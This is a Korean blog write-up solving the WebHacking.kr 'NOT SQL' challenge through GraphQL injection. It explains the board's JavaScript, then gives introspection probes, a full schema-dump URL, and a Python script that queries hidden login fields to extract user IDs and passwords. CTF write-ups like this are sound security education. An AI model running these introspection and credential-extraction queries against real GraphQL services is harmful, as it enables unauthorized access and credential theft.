Search

WebHacking.kr Challenge NOT SQL

목표 : GraphQL Injection
보드 제목과 두 개의 링크가 보인다.
no=1에는 gif가
no=2에는 jpg가 위치해있다.
소스코드는 셋 다 동일했는데 다음과 같다.
<h2>Board</h2><hr> <div id="board"></div> <script> function getQueryVar(variable) { var query = window.location.search.substring(1); var vars = query.split('&'); for (var i = 0; i < vars.length; i++) { var pair = vars[i].split('='); if (decodeURIComponent(pair[0]) == variable) { return decodeURIComponent(pair[1]); } } } if(!getQueryVar("no")){ q = `query{ view{ no, subject } }`; xhr = new XMLHttpRequest(); xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); xhr.send(); res = JSON.parse(xhr.response); for(i=0;i<res.data.view.length;i++){ board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`; } } else{ q = `query{ view{ no, subject, content } }`; xhr = new XMLHttpRequest(); xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); xhr.send(); res = JSON.parse(xhr.response); v = res.data.view; try{ parsed = v.find(v => v.no==getQueryVar("no")); board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`; } catch{ board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`; } } </script>
JavaScript
복사
게시판을 표시하는 자바스크립트 코드다.
function getQueryVar(variable) { var query = window.location.search.substring(1); var vars = query.split('&'); for (var i = 0; i < vars.length; i++) { var pair = vars[i].split('='); if (decodeURIComponent(pair[0]) == variable) { return decodeURIComponent(pair[1]); } } }
JavaScript
복사
window.location.search : window.location.search는 선행 "?"를 포함하여 현재 URL의 쿼리 문자열 부분을 반환하는 JavaScript의 읽기 전용 속성이다. 예를 들어 현재 페이지의 URL이 https://example.com/path/to/page?foo=bar&baz=qux 인 경우 "?foo=bar&baz=qux 를 반환한다. substring(1)은 앞 ?를 지운다.
URL의 쿼리 문자열 부분을 포함하는 window.location.search 속성에서 별도의 키-값 쌍으로 분할하고 지정된 변수 이름과 일치하는 쌍을 찾아 값을 넘겨주는 역할을 한다.
if(!getQueryVar("no")){ q = `query{ view{ no, subject } }`; xhr = new XMLHttpRequest(); xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); xhr.send(); res = JSON.parse(xhr.response); for(i=0;i<res.data.view.length;i++){ board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`; } }
JavaScript
복사
no 매개변수에 값이 없는 경우 XMLHttpRequest 개체를 사용하여 게시물의 제목 및 ID 목록을 검색하기 위해 GraphQL 쿼리를 서버로 보낸다.
쿼리는 q 변수에 할당된 형태로 구성되며 XMLHttpRequest 은 쿼리 문자열을 매개 변수로 사용하여 "/view.php" 끝점에 GET 요청을 보내는 데 사용된다.
JSON 형식은 각 게시물의 제목에 대한 게시물 ID로 설정된 "no" 매개변수를 사용하여 동일한 페이지로 연결되는 하이퍼링크를 생성한다.
생성된 HTML 코드는 board 요소의 innerHTML 속성에 추가된다.
else{ q = `query{ view{ no, subject, content } }`; xhr = new XMLHttpRequest(); xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false); xhr.send(); res = JSON.parse(xhr.response); v = res.data.view; try{ parsed = v.find(v => v.no==getQueryVar("no")); board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`; } catch{ board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`; } }
JavaScript
복사
no 매개변수에 값이 있는 경우 지정된 ID로 게시물의 콘텐츠를 검색하기 위해 또 다른 GraphQL 쿼리를 보낸다.
쿼리는 nosubject 필드 외에 content 필드를 포함한다는 점을 제외하면 이전과 동일한 방식으로 구성된다.
응답이 수신되고 JSON으로 구문 분석되면 응답의 'view' 필드에서 게시물 데이터가 추출되고 해당 ID로 게시물을 검색하는 데 try 형태로 진행된다.
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
Python
복사
핵심 코드는 쿼리를 날리는 다음 코드다.
권한 인증이 미비할 경우
webhacking.kr:10012/view.php?query={__schema{types{name}}}  다음 쿼리만으로 DB명을 확보할 수 있다.
상세한 방법은 아래 Github의 GraphQL 부분을 확인하자.
PayloadsAllTheThings
swisskyrepo
다음 방법에서 에러가 발생하면 가능하다.
?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist}
Plain Text
복사
Introspection을 통한 데이터베이스 스키마 출력
http://webhacking.kr:10012/view.php?query=query%20{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}
GraphQL
복사
해당 취약점이 발생할 경우 위 쿼리문을 통해 모든 데이터스키마를 뽑아낼 수 있다.
위와 같이 모든 결과가 나오면 VScode의 Prettier을 통해 결과를 정리했다.
import requests url="http://webhacking.kr:10012/view.php?" def solve(): # GraphQL payload="query={+login_51b48f6f7e6947fba0a88a7147d54152+{+userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd+}+}" res = requests.get(url=url+payload) print(res.text) if __name__ == "__main__": solve()
Python
복사
http://webhacking.kr:10012/view.php?query={+login_51b48f6f7e6947fba0a88a7147d54152+{+userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd+}+}
GraphQL
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.